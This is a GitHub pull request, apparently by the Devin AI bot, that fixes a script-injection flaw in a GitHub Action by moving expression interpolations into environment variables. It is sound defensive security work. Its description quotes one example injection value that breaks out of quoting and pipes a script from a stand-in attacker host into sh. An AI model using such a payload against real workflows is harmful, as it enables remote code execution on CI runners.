fix: prevent script injection in GitHub Action via env vars - #2
Open
devin-ai-integration[bot] wants to merge 1 commit into
Open
fix: prevent script injection in GitHub Action via env vars#2devin-ai-integration[bot] wants to merge 1 commit into
devin-ai-integration[bot] wants to merge 1 commit into
Conversation
Move GitHub Actions expression interpolations (${{ inputs.path }},
${{ github.action_path }}, ${{ github.workspace }}) out of the
inline shell script and into env: declarations.
Expressions interpolated directly into 'run:' blocks are evaluated
before the shell, so a crafted inputs.path value could break out of
the quoted context and execute arbitrary commands. Passing through
environment variables lets the shell expand them safely inside double
quotes.
Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
Author
🤖 Devin AI EngineerI'll be helping with this pull request! Here's what you should know: ✅ I will automatically:
Note: I can only respond to comments from users who have write access to this repository. ⚙️ Control Options:
|
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
The
action.ymlrun:block interpolated${{ inputs.path }},${{ github.action_path }}, and${{ github.workspace }}directly into the shell script. GitHub Actions evaluates${{ }}expressions before the shell sees the script text, so a craftedinputs.pathvalue (e.g."; curl attacker.com | sh #) can break out of the double-quoted context and execute arbitrary commands.Fix: move all three expressions into
env:declarations and reference them as shell variables inside double quotes. The shell expands${SCAN_PATH}at runtime, treating its value as a literal string.- name: Run jleak scan shell: bash + env: + SCAN_PATH: ${{ inputs.path }} + ACTION_PATH: ${{ github.action_path }} + WORKSPACE: ${{ github.workspace }} run: | - cd ${{ github.action_path }} + cd "${ACTION_PATH}" chmod +x gradlew - ./gradlew run --quiet --args="scan ${{ github.workspace }}/${{ inputs.path }}" + ./gradlew run --quiet --args="scan ${WORKSPACE}/${SCAN_PATH}"Related issues
N/A — found during a security audit of the codebase.
Checklist
Link to Devin session: https://app.devin.ai/sessions/2b7da197b0e947c9b32d894035c5f685
Requested by: @MrGoodNice